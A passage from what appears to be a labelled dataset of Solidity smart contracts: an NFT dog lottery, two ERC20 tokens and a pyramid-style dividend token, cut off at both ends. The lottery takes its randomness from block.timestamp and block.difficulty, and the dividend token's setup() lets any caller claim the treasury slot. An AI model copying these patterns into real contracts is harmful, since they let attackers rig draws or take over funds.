OpenLottery(viewId, clottery.luckyGenes[viewId], currentTerm, 0, 0);
return (clottery.luckyGenes[viewId],2);
}
if (currentGene == 0 && clottery.isReward == true) {
CLottery memory _clottery;
_clottery.luckyGenes = [0,0,0,0,0,0,0];
_clottery.totalAmount = uint256(0);
_clottery.isReward = false;
_clottery.openBlock = uint256(0);
currentTerm = CLotteries.push(_clottery) - 1;
}
if (this._isCarousal(currentTerm)) {
revert();
}
uint8 luckyNum = 0;
if (currentGene == 6) {
if (bonusPool.balance <= SpoolAmount) {
OpenLottery(viewId, clottery.luckyGenes[viewId], currentTerm, 0, 0);
return (clottery.luckyGenes[viewId],3);
}
luckyNum = random(8);
CLotteries[currentTerm].luckyGenes[currentGene] = luckyNum;
OpenLottery(currentGene, luckyNum, currentTerm, block.number, bonusPool.balance);
currentGene = 0;
CLotteries[currentTerm].openBlock = block.number;
CLotteries[currentTerm].totalAmount = bonusPool.balance;
lastBlockNumber = block.number;
} else {
luckyNum = random(12);
CLotteries[currentTerm].luckyGenes[currentGene] = luckyNum;
OpenLottery(currentGene, luckyNum, currentTerm, 0, 0);
currentGene ++;
lastBlockNumber = block.number;
}
return (luckyNum,0);
}
function random2() internal view returns (uint256) {
return uint256(uint256(keccak256(block.timestamp, block.difficulty))%uint256(dogCore.totalSupply()) + 1);
}
function openCarousel() public {
uint256 currentTerm = CLotteries.length - 1;
CLottery storage clottery = CLotteries[currentTerm];
if (currentGene == 0 && clottery.openBlock > 0 && clottery.isReward == false) {
OpenCarousel(convertGene(clottery.luckyGenes), currentTerm, clottery.openBlock, clottery.totalAmount);
}
if (currentGene == 0 && clottery.openBlock > 0 && clottery.isReward == true) {
CLottery memory _clottery;
_clottery.luckyGenes = [0,0,0,0,0,0,0];
_clottery.totalAmount = uint256(0);
_clottery.isReward = false;
_clottery.openBlock = uint256(0);
currentTerm = CLotteries.push(_clottery) - 1;
}
require (this._isCarousal(currentTerm));
uint256 genes = _getValidRandomGenes();
require (genes > 0);
uint8[7] memory luckyGenes = convertGeneArray(genes);
OpenCarousel(genes, currentTerm, block.number, bonusPool.balance);
CLotteries[currentTerm].luckyGenes = luckyGenes;
CLotteries[currentTerm].openBlock = block.number;
CLotteries[currentTerm].totalAmount = bonusPool.balance;
}
function _getValidRandomGenes() internal view returns (uint256) {
uint256 luckyDog = random2();
uint256 genes = _validGenes(luckyDog);
uint256 totalSupply = dogCore.totalSupply();
if (genes > 0) {
return genes;
}
uint256 min = (luckyDog < totalSupply-luckyDog) ? (luckyDog - 1) : totalSupply-luckyDog;
for (uint256 i = 1; i < min + 1; i++) {
genes = _validGenes(luckyDog - i);
if (genes > 0) {
break;
}
genes = _validGenes(luckyDog + i);
if (genes > 0) {
break;
}
}
if (genes == 0) {
if (min == luckyDog - 1) {
for (i = min + luckyDog; i < totalSupply + 1; i++) {
genes = _validGenes(i);
if (genes > 0) {
break;
}
}
}
if (min == totalSupply - luckyDog) {
for (i = min; i < luckyDog; i++) {
genes = _validGenes(luckyDog - i - 1);
if (genes > 0) {
break;
}
}
}
}
return genes;
}
function _validGenes(uint256 dogId) internal view returns (uint256) {
var(, , , , , ,generation, genes, variation,) = dogCore.getDog(dogId);
if (generation == 0 || dogCore.ownerOf(dogId) == finalLottery || variation > 0) {
return 0;
} else {
return genes;
}
}
}
contract LotteryCore is SetLottery {
function LotteryCore(address _ktAddress) public {
bonusPool = _ktAddress;
dogCore = DogCoreInterface(_ktAddress);
CLottery memory _clottery;
_clottery.luckyGenes = [0,0,0,0,0,0,0];
_clottery.totalAmount = uint256(0);
_clottery.isReward = false;
_clottery.openBlock = uint256(0);
CLotteries.push(_clottery);
}
function setFinalLotteryAddress(address _flAddress) public onlyCEO {
finalLottery = _flAddress;
}
function getCLottery()
public
view
returns (
uint8[7] luckyGenes,
uint256 totalAmount,
uint256 openBlock,
bool isReward,
uint256 term
) {
term = CLotteries.length - uint256(1);
luckyGenes = CLotteries[term].luckyGenes;
totalAmount = CLotteries[term].totalAmount;
openBlock = CLotteries[term].openBlock;
isReward = CLotteries[term].isReward;
}
function rewardLottery(bool isMore) external {
require(msg.sender == finalLottery);
uint256 term = CLotteries.length - 1;
CLotteries[term].isReward = true;
CLotteries[term].noFirstReward = isMore;
}
function toSPool(uint amount) external {
require(msg.sender == finalLottery);
SpoolAmount += amount;
}
}
contract FinalLottery {
bool public isLottery = true;
LotteryCore lotteryCore;
DogCoreInterface dogCore;
uint8[7] public luckyGenes;
uint256 totalAmount;
uint256 openBlock;
bool isReward;
uint256 currentTerm;
uint256 public duration;
uint8 public lotteryRatio;
uint8[7] public lotteryParam;
uint8 public carousalRatio;
uint8[7] public carousalParam;
struct FLottery {
address[] owners0;
uint256[] dogs0;
address[] owners1;
uint256[] dogs1;
address[] owners2;
uint256[] dogs2;
address[] owners3;
uint256[] dogs3;
address[] owners4;
uint256[] dogs4;
address[] owners5;
uint256[] dogs5;
address[] owners6;
uint256[] dogs6;
uint256[] reward;
}
mapping(uint256 => FLottery) flotteries;
function FinalLottery(address _lcAddress) public {
lotteryCore = LotteryCore(_lcAddress);
dogCore = DogCoreInterface(lotteryCore.bonusPool());
duration = 11520;
lotteryRatio = 23;
lotteryParam = [46,16,10,9,8,6,5];
carousalRatio = 12;
carousalParam = [35,18,14,12,8,7,6];
}
event DistributeLottery(uint256[] rewardArray, uint256 currentTerm);
event RegisterLottery(uint256 dogId, address owner, uint8 lotteryClass, string result);
function setLotteryDuration(uint256 durationBlocks) public {
require(msg.sender == dogCore.ceoAddress());
require(durationBlocks > 140);
require(durationBlocks < block.number);
duration = durationBlocks;
}
function registerLottery(uint256 dogId) public returns (uint8) {
uint256 _dogId = dogId;
(luckyGenes, totalAmount, openBlock, isReward, currentTerm) = lotteryCore.getCLottery();
address owner = dogCore.ownerOf(_dogId);
require (owner != address(this));
require(address(dogCore) == msg.sender);
require(totalAmount > 0 && isReward == false && openBlock > (block.number-duration));
var(, , , birthTime, , ,generation,genes, variation,) = dogCore.getDog(_dogId);
require(birthTime < openBlock);
require(generation > 0);
require(variation == 0);
uint8 _lotteryClass = getLotteryClass(luckyGenes, genes);
require(_lotteryClass < 7);
address[] memory owners;
uint256[] memory dogs;
(dogs, owners) = _getLuckyList(currentTerm, _lotteryClass);
for (uint i = 0; i < dogs.length; i++) {
if (_dogId == dogs[i]) {
RegisterLottery(_dogId, owner, _lotteryClass,"dog already registered");
return 5;
}
}
_pushLuckyInfo(currentTerm, _lotteryClass, owner, _dogId);
RegisterLottery(_dogId, owner, _lotteryClass,"successful");
return 0;
}
function distributeLottery() public returns (uint8) {
(luckyGenes, totalAmount, openBlock, isReward, currentTerm) = lotteryCore.getCLottery();
require(openBlock > 0 && openBlock < (block.number-duration));
require(totalAmount >= lotteryCore.SpoolAmount());
if (isReward == true) {
DistributeLottery(flotteries[currentTerm].reward, currentTerm);
return 1;
}
uint256 legalAmount = totalAmount - lotteryCore.SpoolAmount();
uint256 totalDistribute = 0;
uint8[7] memory lR;
uint8 ratio;
if (lotteryCore._isCarousal(currentTerm) ) {
lR = carousalParam;
ratio = carousalRatio;
} else {
lR = lotteryParam;
ratio = lotteryRatio;
}
for (uint8 i = 0; i < 7; i++) {
address[] memory owners;
uint256[] memory dogs;
(dogs, owners) = _getLuckyList(currentTerm, i);
if (owners.length > 0) {
uint256 reward = (legalAmount * ratio * lR[i])/(10000 * owners.length);
totalDistribute += reward * owners.length;
dogCore.sendMoney(dogCore.cfoAddress(),reward * owners.length/10);
for (uint j = 0; j < owners.length; j++) {
address gen0Add;
if (i == 0) {
dogCore.sendMoney(owners[j],reward*95*9/1000);
gen0Add = _getGen0Address(dogs[j]);
assert(gen0Add != address(0));
dogCore.sendMoney(gen0Add,reward*5/100);
} else if (i == 1) {
dogCore.sendMoney(owners[j],reward*97*9/1000);
gen0Add = _getGen0Address(dogs[j]);
assert(gen0Add != address(0));
dogCore.sendMoney(gen0Add,reward*3/100);
} else if (i == 2) {
dogCore.sendMoney(owners[j],reward*98*9/1000);
gen0Add = _getGen0Address(dogs[j]);
assert(gen0Add != address(0));
dogCore.sendMoney(gen0Add,reward*2/100);
} else {
dogCore.sendMoney(owners[j],reward*9/10);
}
}
flotteries[currentTerm].reward.push(reward);
} else {
flotteries[currentTerm].reward.push(0);
}
}
if (flotteries[currentTerm].owners0.length == 0) {
lotteryCore.toSPool((lotteryCore.bonusPool().balance - lotteryCore.SpoolAmount())/20);
lotteryCore.rewardLottery(true);
} else {
lotteryCore.rewardLottery(false);
}
DistributeLottery(flotteries[currentTerm].reward, currentTerm);
return 0;
}
function _getGen0Address(uint256 dogId) internal view returns(address) {
var(, , , , , , , , , gen0) = dogCore.getDog(dogId);
return dogCore.ownerOf(gen0);
}
function _getLuckyList(uint256 currentTerm1, uint8 lotclass) public view returns (uint256[] kts, address[] ons) {
if (lotclass==0) {
ons = flotteries[currentTerm1].owners0;
kts = flotteries[currentTerm1].dogs0;
} else if (lotclass==1) {
ons = flotteries[currentTerm1].owners1;
kts = flotteries[currentTerm1].dogs1;
} else if (lotclass==2) {
ons = flotteries[currentTerm1].owners2;
kts = flotteries[currentTerm1].dogs2;
} else if (lotclass==3) {
ons = flotteries[currentTerm1].owners3;
kts = flotteries[currentTerm1].dogs3;
} else if (lotclass==4) {
ons = flotteries[currentTerm1].owners4;
kts = flotteries[currentTerm1].dogs4;
} else if (lotclass==5) {
ons = flotteries[currentTerm1].owners5;
kts = flotteries[currentTerm1].dogs5;
} else if (lotclass==6) {
ons = flotteries[currentTerm1].owners6;
kts = flotteries[currentTerm1].dogs6;
}
}
function _pushLuckyInfo(uint256 currentTerm1, uint8 _lotteryClass, address owner, uint256 _dogId) internal {
if (_lotteryClass == 0) {
flotteries[currentTerm1].owners0.push(owner);
flotteries[currentTerm1].dogs0.push(_dogId);
} else if (_lotteryClass == 1) {
flotteries[currentTerm1].owners1.push(owner);
flotteries[currentTerm1].dogs1.push(_dogId);
} else if (_lotteryClass == 2) {
flotteries[currentTerm1].owners2.push(owner);
flotteries[currentTerm1].dogs2.push(_dogId);
} else if (_lotteryClass == 3) {
flotteries[currentTerm1].owners3.push(owner);
flotteries[currentTerm1].dogs3.push(_dogId);
} else if (_lotteryClass == 4) {
flotteries[currentTerm1].owners4.push(owner);
flotteries[currentTerm1].dogs4.push(_dogId);
} else if (_lotteryClass == 5) {
flotteries[currentTerm1].owners5.push(owner);
flotteries[currentTerm1].dogs5.push(_dogId);
} else if (_lotteryClass == 6) {
flotteries[currentTerm1].owners6.push(owner);
flotteries[currentTerm1].dogs6.push(_dogId);
}
}
function getLotteryClass(uint8[7] luckyGenesArray, uint256 genes) internal view returns(uint8) {
if (currentTerm < 0) {
return 100;
}
uint8[7] memory dogArray = lotteryCore.convertGeneArray(genes);
uint8 cnt = 0;
uint8 lnt = 0;
for (uint i = 0; i < 6; i++) {
if (luckyGenesArray[i] > 0 && luckyGenesArray[i] == dogArray[i]) {
cnt++;
}
}
if (luckyGenesArray[6] > 0 && luckyGenesArray[6] == dogArray[6]) {
lnt = 1;
}
uint8 lotclass = 100;
if (cnt==6 && lnt==1) {
lotclass = 0;
} else if (cnt==6 && lnt==0) {
lotclass = 1;
} else if (cnt==5 && lnt==1) {
lotclass = 2;
} else if (cnt==5 && lnt==0) {
lotclass = 3;
} else if (cnt==4 && lnt==1) {
lotclass = 4;
} else if (cnt==3 && lnt==1) {
lotclass = 5;
} else if (cnt==3 && lnt==0) {
lotclass = 6;
} else {
lotclass = 100;
}
return lotclass;
}
function checkLottery(uint256 genes) public view returns(uint8) {
var(luckyGenesArray, , , isReward1, ) = lotteryCore.getCLottery();
if (isReward1) {
return 100;
}
return getLotteryClass(luckyGenesArray, genes);
}
function getCLottery()
public
view
returns (
uint8[7] luckyGenes1,
uint256 totalAmount1,
uint256 openBlock1,
bool isReward1,
uint256 term1,
uint8 currentGenes1,
uint256 tSupply,
uint256 sPoolAmount1,
uint256[] reward1
) {
(luckyGenes1, totalAmount1, openBlock1, isReward1, term1) = lotteryCore.getCLottery();
currentGenes1 = lotteryCore.currentGene();
tSupply = dogCore.totalSupply();
sPoolAmount1 = lotteryCore.SpoolAmount();
reward1 = flotteries[term1].reward;
}
} | 1 | 3,190 |
pragma solidity ^0.4.18;
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract KVCToken is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
function KVCToken() public {
symbol = "KVC";
name = "KVC Token";
decimals = 18;
_totalSupply = 10000000000000000000000000;
balances[0x63f91cF1B5Dd18f05B38EF8F60c506179Fefd673] = _totalSupply;
Transfer(address(0), 0x63f91cF1B5Dd18f05B38EF8F60c506179Fefd673, _totalSupply);
}
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
revert();
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 1 | 4,308 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value)
external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(
address owner,
address spender
)
public
view
returns (uint256)
{
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(
address from,
address to,
uint256 value
)
public
returns (bool)
{
require(value <= _allowed[from][msg.sender]);
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
return true;
}
function increaseAllowance(
address spender,
uint256 addedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].add(addedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function decreaseAllowance(
address spender,
uint256 subtractedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].sub(subtractedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(value <= _balances[from]);
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
require(account != 0);
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
function _burn(address account, uint256 value) internal {
require(account != 0);
require(value <= _balances[account]);
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function _burnFrom(address account, uint256 value) internal {
require(value <= _allowed[account][msg.sender]);
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(
value);
_burn(account, value);
}
}
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage role, address account) internal {
require(account != address(0));
role.bearer[account] = true;
}
function remove(Role storage role, address account) internal {
require(account != address(0));
role.bearer[account] = false;
}
function has(Role storage role, address account)
internal
view
returns (bool)
{
require(account != address(0));
return role.bearer[account];
}
}
contract MinterRole {
using Roles for Roles.Role;
event MinterAdded(address indexed account);
event MinterRemoved(address indexed account);
Roles.Role private minters;
constructor() public {
_addMinter(msg.sender);
}
modifier onlyMinter() {
require(isMinter(msg.sender));
_;
}
function isMinter(address account) public view returns (bool) {
return minters.has(account);
}
function addMinter(address account) public onlyMinter {
_addMinter(account);
}
function renounceMinter() public {
_removeMinter(msg.sender);
}
function _addMinter(address account) internal {
minters.add(account);
emit MinterAdded(account);
}
function _removeMinter(address account) internal {
minters.remove(account);
emit MinterRemoved(account);
}
}
contract ERC20Mintable is ERC20, MinterRole {
function mint(
address to,
uint256 value
)
public
onlyMinter
returns (bool)
{
_mint(to, value);
return true;
}
}
contract ERC20Burnable is ERC20 {
function burn(uint256 value) public {
_burn(msg.sender, value);
}
function burnFrom(address from, uint256 value) public {
_burnFrom(from, value);
}
}
contract TURNPLE_GREEN is ERC20Burnable, ERC20Mintable {
string public constant name = "TURNPLE GREEN";
string public constant symbol = "TRPEG";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 2250000000 * (10 ** uint256(decimals));
constructor(address _owner) public {
_mint(_owner, INITIAL_SUPPLY);
}
} | 1 | 4,099 |
pragma solidity ^0.4.24;
contract RecordBreaker {
modifier onlyTokenHolders() {
require(myTokens() > 0);
_;
}
modifier onlyProfitHolders() {
require(myDividends(true) > 0);
_;
}
modifier onlyAdministrator(){
address _customerAddress = msg.sender;
require(administrators[_customerAddress]);
_;
}
modifier antiEarlyWhale(uint256 _amountOfEthereum){
address _customerAddress = msg.sender;
if( onlyAmbassadors && ((totalEthereumBalance() - _amountOfEthereum) < ambassadorQuota_ )){
require(
ambassadors_[_customerAddress] == true &&
(ambassadorAccumulatedQuota_[_customerAddress] + _amountOfEthereum) <= ambassadorMaxPurchase_
);
ambassadorAccumulatedQuota_[_customerAddress] = SafeMath.add(ambassadorAccumulatedQuota_[_customerAddress], _amountOfEthereum);
_;
} else {
onlyAmbassadors = false;
if(enableAntiWhale && ((totalEthereumBalance() - _amountOfEthereum) < earlyAdopterQuota_ )){
require((earlyAdopterAccumulatedQuota_[_customerAddress] + _amountOfEthereum) <= earlyAdopterMaxPurchase_);
earlyAdopterAccumulatedQuota_[_customerAddress] = SafeMath.add(earlyAdopterAccumulatedQuota_[_customerAddress], _amountOfEthereum);
_;
} else {
enableAntiWhale = false;
_;
}
}
}
event onTokenPurchase(
address indexed customerAddress,
uint256 incomingEthereum,
uint256 tokensMinted,
address indexed referredBy
);
event onTokenSell(
address indexed customerAddress,
uint256 tokensBurned,
uint256 ethereumEarned
);
event onReinvestment(
address indexed customerAddress,
uint256 ethereumReinvested,
uint256 tokensMinted
);
event onWithdraw(
address indexed customerAddress,
uint256 ethereumWithdrawn
);
event Transfer(
address indexed from,
address indexed to,
uint256 tokens
);
string public name = "WoSNetwork";
string public symbol = "WOS";
uint8 constant public decimals = 18;
uint8 constant internal dividendFee_ = 20;
uint256 constant internal tokenPriceInitial_ = 0.0000001 ether;
uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether;
uint256 constant internal magnitude = 2**64;
uint256 internal treasuryMag_ = 1;
mapping(address => uint256) internal treasuryBalanceLedger_;
uint256 internal treasurySupply_ = 0;
uint256 public stakingRequirement = 100e18;
mapping(address => bool) internal ambassadors_;
uint256 constant internal ambassadorMaxPurchase_ = 2 ether;
uint256 constant internal ambassadorQuota_ = 2 ether;
uint256 constant internal earlyAdopterMaxPurchase_ = 2 ether;
uint256 constant internal earlyAdopterQuota_ = 10 ether;
bool private enableAntiWhale = true;
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => uint256) internal referralBalance_;
mapping(address => int256) internal payoutsTo_;
mapping(address => uint256) internal ambassadorAccumulatedQuota_;
mapping(address => uint256) internal earlyAdopterAccumulatedQuota_;
uint256 internal tokenSupply_ = 0;
uint256 internal profitPerShare_;
mapping(address => bool) public administrators;
bool private onlyAmbassadors = true;
TreasuryInterface private Treasury_;
bool needsTreasury_ = true;
constructor()
public
{
administrators[msg.sender] = true;
ambassadors_[msg.sender] = true;
}
function buy(address _referredBy)
public
payable
returns(uint256)
{
purchaseTokens(msg.value, _referredBy);
}
function()
payable
public
{
purchaseTokens(msg.value, 0x0);
}
function deposit_dividends()
public
payable
{
uint256 _dividends = msg.value;
require(_dividends > 0);
if (tokenSupply_ > 0) {
profitPerShare_ += dividendCalculation(_dividends);
}
}
function reinvest()
onlyProfitHolders()
public
{
uint256 _dividends = myDividends(false);
address _customerAddress = msg.sender;
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
uint256 _tokens = purchaseTokens(_dividends, 0x0);
emit onReinvestment(_customerAddress, _dividends, _tokens);
}
function exit()
public
{
address _customerAddress = msg.sender;
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if(_tokens > 0) sell(_tokens);
withdraw();
}
function withdraw()
onlyProfitHolders()
public
{
address _customerAddress = msg.sender;
uint256 _dividends = myDividends(false);
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
_customerAddress.transfer(_dividends);
emit onWithdraw(_customerAddress, _dividends);
}
function sell(uint256 _amountOfTokens)
onlyTokenHolders()
public
{
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
uint256 _tokens = _amountOfTokens;
uint256 _ethereum = tokensToEthereum_(_tokens);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude));
payoutsTo_[_customerAddress] -= _updatedPayouts;
if (tokenSupply_ > 0) {
profitPerShare_ = SafeMath.add(profitPerShare_, dividendCalculation(_dividends));
}
untrackTreasuryToken(_amountOfTokens);
emit onTokenSell(_customerAddress, _tokens, _taxedEthereum);
}
function transfer(address _toAddress, uint256 _amountOfTokens)
onlyTokenHolders()
public
returns(bool)
{
address _customerAddress = msg.sender;
require(!onlyAmbassadors && _amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
if(myDividends(true) > 0) withdraw();
uint256 _tokenFee = SafeMath.div(_amountOfTokens, dividendFee_);
uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee);
uint256 _dividends = tokensToEthereum_(_tokenFee);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens);
payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens);
profitPerShare_ = SafeMath.add(profitPerShare_, dividendCalculation(_dividends));
emit Transfer(_customerAddress, _toAddress, _taxedTokens);
return true;
}
function disableInitialAmbassadorStage()
onlyAdministrator()
public
{
onlyAmbassadors = false;
}
function disableInitialStage()
onlyAdministrator()
public
{
onlyAmbassadors = false;
enableAntiWhale = false;
}
function setAdministrator(address _identifier, bool _status)
onlyAdministrator()
public
{
administrators[_identifier] = _status;
}
function setStakingRequirement(uint256 _amountOfTokens)
onlyAdministrator()
public
{
stakingRequirement = _amountOfTokens;
}
function setName(string _name)
onlyAdministrator()
public
{
name = _name;
}
function setSymbol(string _symbol)
onlyAdministrator()
public
{
symbol = _symbol;
}
function cleanUpRounding()
onlyAdministrator()
public
{
require(tokenSupply_ == 0);
address _adminAddress;
_adminAddress = msg.sender;
_adminAddress.transfer(address(this).balance);
}
function totalEthereumBalance()
public
view
returns(uint)
{
return address(this).balance;
}
function totalSupply()
public
view
returns(uint256)
{
return tokenSupply_;
}
function myTokens()
public
view
returns(uint256)
{
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
function myDividends(bool _includeReferralBonus)
public
view
returns(uint256)
{
address _customerAddress = msg.sender;
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ;
}
function balanceOf(address _customerAddress)
view
public
returns(uint256)
{
return tokenBalanceLedger_[_customerAddress];
}
function dividendsOf(address _customerAddress)
view
public
returns(uint256)
{
return (uint256) ((int256)(profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
function sellPrice()
public
view
returns(uint256)
{
if(tokenSupply_ == 0){
return tokenPriceInitial_ - tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_ );
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
}
function buyPrice()
public
view
returns(uint256)
{
if(tokenSupply_ == 0){
return tokenPriceInitial_ + tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_ );
uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends);
return _taxedEthereum;
}
}
function calculateTokensReceived(uint256 _ethereumToSpend)
public
view
returns(uint256)
{
uint256 _dividends = SafeMath.div(_ethereumToSpend, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
return _amountOfTokens;
}
function calculateEthereumReceived(uint256 _tokensToSell)
public
view
returns(uint256)
{
require(_tokensToSell <= tokenSupply_);
uint256 _ethereum = tokensToEthereum_(_tokensToSell);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
function setup(address _treasuryAddr)
external
{
require(needsTreasury_ == true, "Treasury setup failed - treasury already registered");
Treasury_ = TreasuryInterface(_treasuryAddr);
needsTreasury_ = false;
}
function purchaseTokens(uint256 _incomingEthereum, address _referredBy)
antiEarlyWhale(_incomingEthereum)
internal
returns(uint256)
{
address _customerAddress = msg.sender;
uint256 _undividedDividends = SafeMath.div(_incomingEthereum, dividendFee_);
uint256 _referralBonus = SafeMath.div(_undividedDividends, 3);
uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus);
uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
uint256 _fee = _dividends * magnitude;
require(_amountOfTokens > 0 && (SafeMath.add(_amountOfTokens,tokenSupply_) > tokenSupply_));
if(
_referredBy != 0x0000000000000000000000000000000000000000 &&
_referredBy != _customerAddress &&
tokenBalanceLedger_[_referredBy] >= stakingRequirement
){
referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus);
} else {
